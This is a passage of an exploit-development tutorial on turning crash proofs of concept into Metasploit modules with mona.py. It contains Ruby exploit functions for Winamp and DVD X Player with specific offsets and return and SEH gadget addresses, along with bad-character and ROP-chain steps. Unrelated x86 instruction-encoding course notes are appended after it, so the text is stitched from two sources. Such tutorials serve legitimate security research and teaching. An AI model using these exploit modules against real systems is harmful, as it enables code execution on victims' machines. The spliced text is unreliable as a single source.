for a Windows application. We will be generating an mkv file so we’ll place
this module inside the ‘windows/fileformat’ folder:

modules/exploits/windows/fileformat/winamp\_mkv.rb

Edit the file.

Look for the “def exploit” section, and you should see something like this:

**def exploit  
buffer =Rex::Text.pattern\_create\(5000\)  
file\_create\(buffer\)  
end**

If you are familiar with writing Metasploit modules, you’ll know this is the
function that gets called when you issue the ‘exploit’ command in msfconsole.
Mona.py has generated a file that will produce a file that contains a 5000
byte cyclic pattern. We’ll take advantage of this sample code and merge our
“header” into this module. Change thismodule so it would look like this:

**def exploit**

**header = "\x1a"  
header << "E"  
header << "\xdf\xa3\x09"  
header << "\xff" \* 4  
header << "B"  
header << "\x82\x08"  
header << "\xff" \* 4  
trigger = Rex::Text.pattern\_create\(16344\)  
buffer = header + trigger**

**file\_create\(buffer\)**

**end**

  

Basically we inserted the header and replaced the last line from the header
with a 16344 byte cyclic pattern. Save the file and load it in msfconsole. Set
an arbitrary payload \(doesn’t matter which one, because we’re not using it
yet\) and then run ‘exploit’

msf > **use exploit/windows/fileformat/winamp\_mkv**  
msf exploit\(winamp\_mkv\) > **set PAYLOAD windows/exec**  
payload => windows/exec  
msf exploit\(winamp\_mkv\) > **set CMD calc**  
cmd => calc  
msf exploit\(winamp\_mkv\) > **exploit**

  

Find the generated file \(<homefolder>/.msf4/data/exploits/msf.mkv\) and
transfer it to your windows box.

Launch winamp, attach Immunity Debugger to it, and then open the newly created
file. This should trigger a crash. You can now continue to write your exploit
using the Metasploit module.

## From poc script to Metaploit exploit

A second way to go from a poc \(standalone python script\) to an Metasploit
module is by using a cyclic pattern in the original exploit script and then
“suggest” a Metasploit module at crash time. This technique will only produce
something of value if you control EIP or SEH using the cyclic pattern. Even
then it may not be perfect, but it should at least give you a rough idea of
what your exploit structure will look like and it will produce an entire
Metasploit module file that you can use from that point forward.

The example that we’ll use to demonstrate this feature is based on a
vulnerability in DVD X Player v5.5. Grab a copy of the vulnerable version of
this application here. The python code to trigger the overflow looks like
this:

**import os  
filename = "poc.plf"  
buffer = "A" \* 2500  
file = open\(filename, "w"\)  
file.write\(buffer\)  
file.close\(\)**

In order to be able to use the available mona features, we need to modify this
script and replace the 2500 A’s with a cyclic pattern.

You can create a cyclic pattern using the pattern\_create tool available in
Metasploit \(tools folder\), or you can create one using mona:

**\!mona pc 2500**

\(Copy the pattern from pattern.txt and replace "A" \* 2500 in the script with
the pattern\)

Run the python script to create the plf file. Open DVDXPlayer and attach
Immunity Debugger to it.

Load the plf file and you should get a crash that looks pretty much like this:

**Access violation when executing \[37694136\]**

Now run

**\!mona suggest –cpb '\x00\x0a\x0d'**

This will first run **\!mona findmsp** \(which is also available as a separate
command in mona.py\)

The findmsp command will

  * look for the first 8 bytes of the cyclic pattern anywhere in process memory \(normal or unicode expanded\)
  * look at all registers and list the registers that either point at or are overwritten with a part of the pattern. It will show the offset and the length of the pattern in memory after that offset in case the registers points into the pattern
  * look for pointers into a part of the pattern on the stack \(+ shows offset and length\)
  * look for artifacts of the pattern on the stack \(+ shows offset and length\)
  * query the SEH chain and determine if it was overwritten with a cyclic pattern or not

Next, 'suggest' will attempt to

  * generate a Metasploit module that lays out the structure of the exploit
  * find the necessary pointers, avoiding pointers that contain \x00, \x0a and \x0d \(because those were the 'bad characters' we provided at the command line using parameter -cpb\).
  * request you to select a msf skeleton. Choose“**fileformat** ”
  * request you to enter the desired file extension. Choose **plf**
  * request you to enter the ID on exploit-db \(if applicable. Leave empty if you are notporting an existing exploit to Metasploit\) 

The result will be written to c:\logs\dvdxplayer.

In this case, you will see 2 files: exploit.rb and exploit\_seh.rb. The buffer
overflow triggered by the poc has overwritten a saved return pointer and it
has also overwritten an exception handler. mona.py was able to detect this and
created 2 files. The ‘exploit’ function in exploit.rb looks like this:

**def exploit  
buffer = rand\_text\(target\['Offset'\]\)  
buffer << \[target.ret\].pack\('V'\)  
buffer << rand\_text\(16\) \#junk  
buffer << make\_nops\(30\)  
buffer << payload.encoded \#max 2190 bytes file\_create\(buffer\)  
end**

  

The Targets section contains this:

**'Targets' = >  
\[  
\[ '<fill in the OS/appversion here>',  
\{  
'Ret' => 0x6033cdab,  
'Offset' => 260  
\}  
\], \# push esp \# ret - Configuration.dll**

Finally, the module already contains the bad chars that we specified at the
command line:

**'BadChars'= > "\x00\x0a\x0d",**

The ‘exploit’ function in exploit\_seh.rb looks like this:

**def exploit**

**buffer = rand\_text\(target\['Offset'\]\) \#junk  
buffer << generate\_seh\_record\(target.ret\)  
buffer << make\_nops\(30\)  
buffer << payload.encoded \#1858 bytes of space  
file\_create\(buffer\)**

**end**

  

The targets section contains a pointer to pop pop ret and the offset to
overwriting the SEH record:

**\[ ' <fill in the OS/app version here>',  
\{  
'Ret' => 0x60324371,  
'Offset' => 608  
\}  
\], \# pop eax \# pop esi \# ret -Configuration.dll**

Using a single command, based on a simple python proof-of-concept script which
contains a cyclic pattern to trigger a crash, we have been able to create 2
Metasploit modules. In some cases, these modules may even work out of the box,
but it's important to remember that it might not work and you will need to
test, fix, find bad characters, etc etc.

As you could see, both modules contain a pointer and an offset in the Targets
section. Offsets were derived using locations in the cyclic pattern.

In order to find those pointers \(push esp+ret in exploit.rb and pop/pop/ret
in exploit\_seh.rb\), mona.py used 2 other mona.py functions:

Find “jmp esp”:

**\!mona jmp -r esp –cpb '\x00\x0a\x0d' -cm os=false**

If no pointers were found, 'mona suggest' will perform a second search, this
time including OS modules. In all cases, rebased and/or aslr enabled modules
are skipped from the search. In order to find the pointer for the SEH exploit,
mona ran

**\!mona seh -cpb '\x00\x0a\x0d'**

Again, aslr and rebased modules are skipped, as well as safeseh protected
modules.

In order to complete this module, we’ll need to

  * determine the exact list of bad characters. We guessed a few \(based on the fileformat\), but you really have to be double-check & figure out the exactlist.
  * test the exploit for reliability \(multiple systems, multiple payloads, etc\). Make sure to list the systems you tested the exploit on in the Targets section.
  * finish the other parts of the module and make sure the module meets the Metasploit coding style guidelines
  * submit the module to Metasploit \(open a ticket on redmine and upload the module\) so we can all enjoy your hard work.

## Bad characters

Finding the exact list of bad characters is fundamentally important to
guarantee the reliability of any exploit.

There are various ways to find bad characters. Sometimes you can automate
this, in other cases it will take a bit of work.

Mona.py has couple of commands that will help you finding those evil bytes so
you can exclude them from your payload.

The approach mona.py takes is:

  * create an array that contains all bytes \(\x00 -> \xff\)
  * insert the array into your payload, and also write the array to a file \(binary\)
  * trigger the crash with the file/packet that contains your byte array
  * compare the array in memory \(or what is left of it\) with the original array \(which was written to the binary file\) 
  * find the first byte that doesn’t match and add that byte to the "bad char" list. 
  * Re-create the bytearray \(without the “bad bytes” found so far\) and repeat the process until there are no more bad characters

Creating a bytearray can be done using \!mona bytearray. You can use option -b
to specify the bytes that you want to exclude. Let’s say we want to create an
array with all bytes, excluding \x00,\x0a and \x0d:

\!mona bytearray -b '\x00\x0a\x0d'

Mona.py will create 2 files:

  * bytearray.txt \(which contains the plaintext array, so you can copy & paste it into your exploit module\), 
  * bytearray.bin \(which consists of the bytes in the array\)

Output of bytearray.txt:

**" \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"**

**" \x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"**

**" \x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"**

**" \x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"**

**" \x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"**

**" \x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"**

**" \x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"**

**" \x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"**

**" \x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"**

**" \x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"**

**" \xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"**

**" \xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"**

**" \xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"**

**" \xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"**

**" \xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"**

**" \xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"**

The placement of this array in the exploit structure is important. We still
need to be able to reliably trigger the overflow/crash.

In case of a saved return pointer overwrite, I recommend putting this array in
the payload after overwriting the return pointer.

If any of the bytes truncates the array, we will still be able to trigger the
overflow in a consistent way during our search for bad characters.

Example \(based on the exploit.rb file created a few moments ago\):

**bytearray =
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"**

**bytearray << ****"
\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"**

**bytearray << ****"
\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"**

**bytearray << ****"
\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"**

**bytearray << ****"
\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"**

**bytearray << ****"
\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"**

**bytearray << ****"
\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"**

**bytearray << ****"
\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"**

**bytearray << ****"
\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"**

**bytearray << ****"
\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"**

**bytearray << ****"
\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"**

**bytearray << ****"
\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"**

**bytearray << ****"
\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"**

**bytearray << ****"
\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"**

**bytearray << ****"
\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"**

**bytearray << ****"
\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"**

****

****

**buffer = "A" \* target\['Offset'\]**

**buffer << \[target.ret\].pack\('V'\) **

**buffer << "A" \* 16 \#junk**

**buffer << make\_nops\(30\)**

**buffer << bytearray**

****

**file\_create\(buffer\)**

As you can see, I replaced the rand\_text\(\) with just A’s. rand\_text may
produce bad chars and break the exploit. It uses the BadChars array in the
Metasploit module, so as long as that doesn’t contain the right values, it
\*might\* cause the module to fail. Attach the debugger to the application and
set a breakpoint on the pointer that you will use to overwrite the return
pointer with. In this case, this pointer is 0x6033cdab. Load the file in the
application and verify that the breakpoint was hit. Now let mona.py do the
comparison:

**\!mona compare -f c:\logs\dvdxplayer\bytearray.bin**

Mona.py will read the first 8 bytes from the file bytearray.bin and attempt to
locate those bytes in process memory. Whenever it finds those 8 bytes, it will
compare all original bytes with the bytes found in memory and log the
differences into compare.txt.

It’s not that uncommon to see multiple copies of those first 8 bytes in
memory. In order to draw accurate conclusions, we need to find the array we
need. In this case, our bytearray is on the stack,so we only have to find the
entry in compare.txt that points to the location on the stack where our
bytearray is stored. In my example, the stack \(at crash time\) is at 0x0012….

After running this technique using \x00, \x0a and \x0d as bad chars, and after
locating the correct instance of the byte array on the stack, this is what the
output will look like:

**+-----------------------+-----------------------+**

**| FILE | MEMORY |**
**+-----------------------+-----------------------+**

**|01|02|03|04|05|06|07|08|01|02|03|04|05|06|07|08|**

**|09|0b|0c|0e|0f|10|11|12|09|0b|0c|0e|0f|10|11|12|**

**|13|14|15|16|17|18|19|1a|13|14|15|16|17|18|19|--|**

**|1b|1c|1d|1e|1f|20|21|22|--|--|--|--|--|--|--|--|**

**|23|24|25|26|27|28|29|2a|--|--|--|--|--|--|--|--|**

As you can see, \x1a also seems to break the payload. Let’s create a new
bytearray excluding that byte as well:

**\!mona bytearray -b '\x00\x0a\x0d\x1a'**

Copy the new output from bytearray.txt and replace the array in the Metasploit
module \(or just remove that particular byte in your module\).

Mona bytearray will update bytearray.bin as well, so it’s important to run
this command even if you just removed that byte from the Metasploit module.

Recreate the plf file and try again. \(Don’t forget to set the breakpoint
\!\).

compare.txt now says

**\---------------------------------------------------------------------------**

**\* Reading memory at location 0x0012f48e**

**- > Hooray, normal shellcode unmodified**

There we go. We have found all bad characters, so we can now remove the
bytearray again from the Metasploit module, put the rand\_text\(\) calls back
and update the BadChars array. This way,we are sure whatever payload gets
used, it won’t contain any bad chars. This is just a short introduction on
what mona.py can do to make your exploit development life easier and to help
you create & write reliable exploits for the Metasploit framework.

## What else ?

One of the other features in mona.py is the ability to create ROP chains.

Using a single command \(\!mona rop\), mona.py will

  * build a rop gadgets flat file rop.txt
  * categorize interesting gadgets into rop\_suggestions.txt
  * get all stackpivots \(rop\_stackpivots.txt\)
  * query IAT and look for pointers to interesting functions and/or find offsets from IAT entries to interesting functions
  * build ROP chains

Mona.py will attempt to automatically create a rop chain for

  * NtSetInformationProcess\(\) 
  * setProcessDEPPolicy\(\)
  * VirtualProtect\(\) 
  * VirtualAlloc\(\) 

The output \(rop\_chains.txt\) contains ruby code that can be copied & pasted
into a Metasploit module with little or no changes.

## Conclusion

mona.py offers a few tools that will help you integrating or writing exploits
into the Metasploit framework. If it produces script output, it will be ruby.
It can generate an empty Metasploit module or it can even populate various
parts of the module if you were using a cyclic pattern to trigger the crash.

You can find more information about mona.py at http://bit.ly/monamanual

# Encoding Real x86 Instructions

**Created:**| _4/7/2012 11:30:38 AM_  
---|---  
**Updated:**| _4/7/2012 11:30:38 AM_  
**Author:**| __  
**Tags:**| _x86 encoding instruction-set_  
  

CIS-77 Home `http://www.c-jump.com/CIS77/CIS77syllabus.htm`

###  Encoding Real x86 Instructions

* * *
  1. Encoding Real x86 Instructions
  2. x86 Instructions Overview
  3. x86 Instruction Format Reference
  4. x86 Opcode Sizes
  5. x86 ADD Instruction Opcode
  6. Encoding x86 Instruction Operands, MOD-REG-R/M Byte
  7. General-Purpose Registers
  8. REG Field of the MOD-REG-R/M Byte
  9. MOD R/M Byte and Addressing Modes
  10. SIB \(Scaled Index Byte\) Layout
  11. Scaled Indexed Addressing Mode
  12. Encoding ADD Instruction Example
  13. Encoding ADD CL, AL Instruction
  14. Encoding ADD ECX, EAX Instruction
  15. Encoding ADD EDX, DISPLACEMENT Instruction
  16. Encoding ADD EDI, \[EBX\] Instruction
  17. Encoding ADD EAX, \[ ESI + disp8 \] Instruction
  18. Encoding ADD EBX, \[ EBP + disp32 \] Instruction
  19. Encoding ADD EBP, \[ disp32 + EAX\*1 \] Instruction
  20. Encoding ADD ECX, \[ EBX + EDI\*4 \] Instruction
  21. Encoding ADD Immediate Instruction
  22. Encoding Eight, Sixteen, and Thirty-Two Bit Operands
  23. Encoding Sixteen Bit Operands
  24. x86 Instruction Prefix Bytes
  25. Alternate Encodings for Instructions
  26. x86 Opcode Summary
  27. MOD-REG-R/M Byte Summary
  28. ISA Design Considerations
  29. ISA Design Challenges
  30. Intel Architecture Software Developer's Manual
  31. Intel Instruction Set Reference \(Volume2\)
  32. Chapter 3 of Intel Instruction Set Reference
  33. Intel Reference Opcode Bytes
  34. Intel Reference Opcode Bytes, Cont.
  35. Intel Reference Opcode Bytes, Cont.
  36. Intel Reference Opcode Bytes, Cont.
  37. Intel Reference Opcode Bytes, Cont.
  38. Intel Reference Opcode Bytes, Cont.
  39. Intel Reference Instruction Column

###  1\. Encoding Real x86 Instructions

* * *
  * It is time to take a look that the actual machine instruction format of the x86 CPU family. 
  * They don't call the x86 CPU a Complex Instruction Set Computer \(CISC\) for nothing\! 
  * Although more complex instruction encodings exist, no one is going to challenge that the x86 has a complex instruction encoding: 
<img src='img/Temp2_2709.png' alt='x86 Instruction Encoding' />

* * *
###  2\. x86 Instructions Overview

* * *
  * Although the diagram seems to imply that instructions can be up to 16 bytes long, in actuality the x86 will not allow instructions greater than 15 bytes in length. 
  * The prefix bytes **are not** the _opcode expansion prefix_ discussed earlier - they are special bytes to modify the behavior of existing instructions. 

|

  * x86 Instruction Encoding:  <img src='img/Temp2_2709.png' alt='x86 Instruction Encoding' />

  
---|---  
  * 

* * *
###  3\. x86 Instruction Format Reference

* * *
  * Another view of the x86 instruction format:  <img src='img/Temp2_2711.png' alt='The x86 instruction format' />

|

  * Additional reference: 
    * Intel x86 instructions by opcode
    * Intel x86 instructions by mnemonic
    * Brief Intel x86 instruction reference.

  
---|---  
  * 

* * *
###  4\. x86 Opcode Sizes

* * *
  * The x86 CPU supports two basic opcode sizes: 
    1. standard **one** -byte opcode 
    2. **two** -byte opcode consisting of a **0Fh** _opcode expansion prefix byte_.  The second byte then specifies the actual instruction. 

|

  * x86 instruction format:  <img src='img/Temp2_2711.png' alt='The x86 instruction format' />

  
---|---  
  * The x86 opcode bytes are 8-bit equivalents of **iii** field that we discussed in simplified encoding. 
  * This provides for up to 512 different instruction classes, although the x86 does not yet use them all. 

* * *
###  5\. x86 ADD Instruction Opcode

* * *
  * Bit number **zero** marked **s** specifies the **size** of the operands the ADD instruction operates upon: 
    * If **s = 0** then the operands are 8-bit registers and memory locations. 
    * If **s = 1** then the operands are either 16-bits or 32-bits: 
      * Under 32-bit operating systems the default is 32-bit operands if **s = 1**. 
      * To specify a 16-bit operand \(under Windows or Linux\) you must insert a special _operand-size prefix byte_ in front of the instruction \(example of this later.\) 
  * \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 
  * You'll soon see that this direction bit **d** creates a problem that results in one instruction have two different possible opcodes. 

|

  * x86 ADD instruction opcode :  <img src='img/Temp2_2697.png' alt='x86 ADD Opcode' />
  * Bit number **one** , marked **d** , specifies the **direction** of the data transfer: 
    * If **d = 0** then the destination operand is a memory location, e.g. 
[code]                 add [ebx], al

        
[/code]

    * If **d = 1** then the destination operand is a register, e.g. 
[code]                 add al, [ebx]

        
[/code]

  
---|---  
  * 

* * *
###  6\. Encoding x86 Instruction Operands, MOD-REG-R/M Byte

* * *
  * The MOD-REG-R/M byte specifies instruction operands and their addressing mode**\(\*\)** : 

  * <img src='img/Temp2_2713.png' alt='MOD-REG-R/M Byte' />

  * The **MOD** field specifies x86 addressing mode:  <img src='img/Temp2_2703.png' alt='MOD Meaning' />

  * The **REG** field specifies source or destination **register** :  <img src='img/Temp2_2698.png' alt='x86 register encoding' />

|

  * The **R/M** field, combined with **MOD** , specifies either 
    1. the second operand in a **two** -operand instruction, or 
    2. the only operand in a **single** -operand instruction like NOT or NEG. 
  * The **d** bit in the opcode determines which operand is the source, and which is the destination: 
    * **d=0: MOD R/M` <-` REG**, REG is the source 
    * **d=1: REG` <-` MOD R/M**, REG is the destination 

  * \_\_\_\_\_\_\_\_\_\_\_ 
  * **\(\*\)** Technically, registers do not have an address, but we apply the term _addressing mode_ to registers nonetheless. 

  
---|---  
  * 

* * *
###  7\. General-Purpose Registers

* * *
  * The EAX, EDX, ECX, EBX, EBP, EDI, and ESI registers are 32-bit general-purpose registers, used for temporary data storage and memory access. 
  * The AX, DX, CX, BX, BP, DI, and SI registers are 16-bit equivalents of the above, they represent the low-order 16 bits of 32-bit registers. 
  * The AH, DH, CH, and BH registers represent the high-order 8 bits of the corresponding registers. 

|

  * <img src='img/Temp2_2693.png' alt='16-bit general-purpose registers' />
  * Since the processor accesses registers more quickly than it accesses memory, you can make your programs run faster by keeping the most-frequently used data in registers. 

  
---|---  
  * Similarly, AL, DL, CL, and BL represent the low-order 8 bits of the registers. 

* * *
###  8\. REG Field of the MOD-REG-R/M Byte

* * *
  * <img src='img/Temp2_2713.png' alt='MOD-REG-R/M Byte' />
  * The **REG** field specifies an x86 register**\(\*\)** :  <img src='img/Temp2_2698.png' alt='x86 register encoding' />

|

  * Depending on the instruction , this can be either the _source_ or the destination operand. 
  * Many instructions have the **d** \(direction\) field in their opcode to choose **REG** operand role: 
    1. If **d=0** , **REG** is the source,   
**MOD R/M` <-` REG**.

    2. If **d=1** , **REG** is the destination,   
**REG` <-` MOD R/M**.

  
---|---  
  * \_\_\_\_\_\_\_\_\_\_\_ 
  * **\(\*\)** For certain \(often single-operand or immediate-operand\) instructions, the **REG** field may contain an _opcode extension_ rather than the register bits. The **R/M** field will specify the operand in such case. 

* * *
###  9\. MOD R/M Byte and Addressing Modes

  * 
[code]    MOD R/M Addressing Mode

    === === ================================
     00 000 [ eax ]
     01 000 [ eax + **disp8** ]               (1)
     10 000 [ eax + **disp32** ]
     11 000 register  ( al / ax / eax )   (2)
     00 001 [ ecx ]
     01 001 [ ecx + **disp8** ]
     10 001 [ ecx + **disp32** ]
     11 001 register  ( cl / cx / ecx )
     00 010 [ edx ]
     01 010 [ edx + **disp8** ]
     10 010 [ edx + **disp32** ]
     11 010 register  ( dl / dx / edx )
     00 011 [ ebx ]
     01 011 [ ebx + **disp8** ]
     10 011 [ ebx + **disp32** ]
     11 011 register  ( bl / bx / ebx )
     00 100 **SIB**  Mode                     (3)
     01 100 **SIB**  +  **disp8**  Mode
     10 100 **SIB**  +  **disp32**  Mode
     11 100 register  ( ah / sp / esp )
     00 101 32-bit Displacement-Only Mode (4)
     01 101 [ ebp + **disp8** ]
     10 101 [ ebp + **disp32** ]
     11 101 register  ( ch / bp / ebp )
     00 110 [ esi ]
     01 110 [ esi + **disp8** ]
     10 110 [ esi + **disp32** ]
     11 110 register  ( dh / si / esi )
     00 111 [ edi ]
     01 111 [ edi + **disp8** ]
     10 111 [ edi + **disp32** ]
     11 111 register  ( bh / di / edi )
    
[/code]

|

  * 

  1. Addressing modes with 8-bit displacement fall in the range -128..+127 and require only a single byte displacement after the opcode \(Faster\!\) 
  2. The size bit in the opcode specifies 8 or 32-bit register size. To select a 16-bit register requires a prefix byte. 
  3. The so-called scaled indexed addressing modes, **SIB** = scaled index byte mode. 
  4. Note that there is no \[ ebp \] addressing. It's slot is occupied by the 32-bit _displacement only_ addressing mode. Intel decided that programmers can use \[ ebp\+ **disp8** \] addressing mode instead, with its 8-bit displacement set equal to zero \(instruction is a little longer, though.\) 

  
---|---  
  * 

* * *
###  10\. SIB \(Scaled Index Byte\) Layout

* * *
  * _Scaled indexed addressing mode_ uses the second byte \(namely, **SIB** byte\) that follows the **MOD-REG-R/M** byte in the instruction format. 
  * The **MOD** field still specifies the displacement size of **zero** , **one** , or **four** bytes. 
    * The **MOD-REG-R/M** and SIB bytes are complex, because Intel reused 16-bit addressing circuitry in the 32-bit mode, rather than simply abandoning the 16-bit format in the 32-bit mode. 
    * There are good hardware reasons for this, but the end result is a complex scheme for specifying addressing modes in the opcodes. 

|

  * Scaled index byte layout:  <img src='img/Temp2_2707.png' alt='SIB, Scaled index byte layout' /> <img src='img/Temp2_2706.png' alt='SIB scaled index values' /> <img src='img/Temp2_2705.png' alt='SIB index register encoding' /> <img src='img/Temp2_2704.png' alt='SIB base register encoding' />

  
---|---  
  * 

* * *
###  11\. Scaled Indexed Addressing Mode

  * 
[code]    [ reg32 + eax* **n** ] MOD = 00

    [ reg32 + ebx* **n** ] 
    [ reg32 + ecx* **n** ]
    [ reg32 + edx* **n** ]
    [ reg32 + ebp* **n** ]
    [ reg32 + esi* **n** ]
    [ reg32 + edi* **n** ]
    
    [ **disp** + reg8 + eax* **n** ] MOD = 01
    [ **disp** + reg8 + ebx* **n** ]
    [ **disp** + reg8 + ecx* **n** ]
    [ **disp** + reg8 + edx* **n** ]
    [ **disp** + reg8 + ebp* **n** ]
    [ **disp** + reg8 + esi* **n** ]
    [ **disp** + reg8 + edi* **n** ]
    
    [ **disp** + reg32 + eax* **n** ] MOD = 10
    [ **disp** + reg32 + ebx* **n** ]
    [ **disp** + reg32 + ecx* **n** ]
    [ **disp** + reg32 + edx* **n** ]
    [ **disp** + reg32 + ebp* **n** ]
    [ **disp** + reg32 + esi* **n** ]
    [ **disp** + reg32 + edi* **n** ]
    
    [ **disp** + eax* **n** ] MOD = 00, and
    [ **disp** + ebx* **n** ] BASE field = 101
    [ **disp** + ecx* **n** ]
    [ **disp** + edx* **n** ]
    [ **disp** + ebp* **n** ]
    [ **disp** + esi* **n** ]
    [ **disp** + edi* **n** ]
    
[/code]

|

  * Note: **n** = **1** , **2** , **4** , or **8**. 
  * In each **scaled indexed addressing mode** the **MOD** field in **MOD-REG-R/M** byte specifies the _size of the displacement_. It can be zero, one, or four bytes: 
[code]         MOD R/M  Addressing Mode

        --- ---  --------------------------- 
         00 100  **SIB**
         01 100  **SIB** + **disp8**
         10 100  **SIB** + **disp32**
    
[/code]

  * The **Base** and **Index** fields of the SIB byte select the base and index registers, respectively. 
  * Note that this addressing mode does not allow the use of the **ESP** register as an index register. Presumably, Intel left this particular mode undefined to provide the ability to extend the addressing modes in a future version of the CPU. 

  
---|---  
  * 

* * *
###  12\. Encoding ADD Instruction Example

* * *
  * The ADD opcode can be decimal 0, 1, 2, or 3, depending on the direction and size bits in the opcode: 
    * <img src='img/Temp2_2697.png' alt='ADD opcode' />
  * How could we encode various forms of the ADD instruction using different addressing modes? 

* * *
###  13\. Encoding ADD CL, AL Instruction

* * *
  * <img src='img/Temp2_2695.png' alt='Encoding ADD AL, CL Instruction' />

  * Interesting side effect of the direction bit and the **MOD-REG-R/M byte** organization: some instructions can have two different opcodes, and both are legal\! 
  * For example, encoding of 
[code]         add cl, al

    
[/code]

could be **00 C1** \(if **d=0**\), or **02 C8** , if **d** bit is set to
**1**.

  * The possibility of opcode duality issue here applies to all instructions with two register operands. 

* * *
###  14\. Encoding ADD ECX, EAX Instruction

* * *
  * 
[code]        add ecx, eax

    
[/code]

  * <img src='img/Temp2_2702.png' alt='Encoding ADD ECX, EAX Instruction' />
  * Note that we could also encode ADD **ECX** , **EAX** using the bytes **03 C8**. 

* * *
###  15\. Encoding ADD EDX, DISPLACEMENT Instruction

* * *
  * Encoding the ADD **EDX** , DISP Instruction: 
[code]         add edx, disp

        <img src='img/Temp2_2712.png' alt='Encoding the ADD EDX, DISP Instruction' />
    
[/code]

* * *
###  16\. Encoding ADD EDI, \[EBX\] Instruction

* * *
  * Encoding the ADD **EDI** , \[ **EBX** \] instruction: 
[code]         add edi, [ebx]

        <img src='img/Temp2_2710.png' alt='Encoding the ADD EDI, [EBX] Instruction' />
    
[/code]

* * *
###  17\. Encoding ADD EAX, \[ ESI + disp8 \] Instruction

* * *
  * Encoding the ADD **EAX** , \[ **ESI** \+ **disp8** \] instruction: 
[code]         add eax, [ esi + disp8 ]

        <img src='img/Temp2_2700.png' alt='Encoding the ADD EAX, [ ESI + disp8 ] Instruction' />
    
[/code]

* * *
###  18\. Encoding ADD EBX, \[ EBP + disp32 \] Instruction

* * *
  * Encoding the ADD **EBX** , \[ **EBP** \+ **disp32** \] instruction: 
[code]         add ebx, [ ebp + disp32 ]

        <img src='img/Temp2_2701.png' alt='Encoding the ADD EBX, [ EBP + disp32 ] Instruction' />
    
[/code]

* * *
###  19\. Encoding ADD EBP, \[ disp32 + EAX\*1 \] Instruction

* * *
  * Encoding the ADD **EBP** , \[ **disp32** \+ **EAX** \*1 \] Instruction 
[code]         add ebp, [ disp32 + eax*1 ]

        <img src='img/Temp2_2692.png' alt='Encoding the ADD EBP, [ disp32 + EAX*1 ] Instruction' />
    
[/code]

* * *
###  20\. Encoding ADD ECX, \[ EBX + EDI\*4 \] Instruction

* * *
  * Encoding the ADD **ECX** , \[ **EBX** \+ **EDI** \*4 \] Instruction 
[code]         add ecx, [ ebx + edi*4 ]

        <img src='img/Temp2_2708.png' alt='Encoding ADD ECX, [ EBX + EDI*4 ] Instruction' />
    
[/code]

* * *
###  21\. Encoding ADD Immediate Instruction

* * *
  * **MOD-REG-R/M** and **SIB** bytes have no bit combinations to specify an immediate operand. 
  * Instead, x86 uses a entirely different instruction format to specify instruction with an immediate operand. 
  * There are three rules that apply: 

|

  * Encoding x86 immediate operands:  <img src='img/Temp2_2696.png' alt='Encoding Immediate Operands' />

  
---|---  
  1. If opcode high-order bit set to **1** , then _instruction has an immediate constant_. 
  2. There is no direction bit in the opcode: 
     * : indeed, you cannot specify a constant as a destination operand\! 
     * Therefore, destination operand is always the location encoded in the **MOD-R/M** bits of the the **MOD-REG-R/M** byte. 
     * In place of the direction bit **d** , the opcode has a sign extension **x** bit instead: 
       * For 8-bit operands, the CPU ignores **x** bit. 
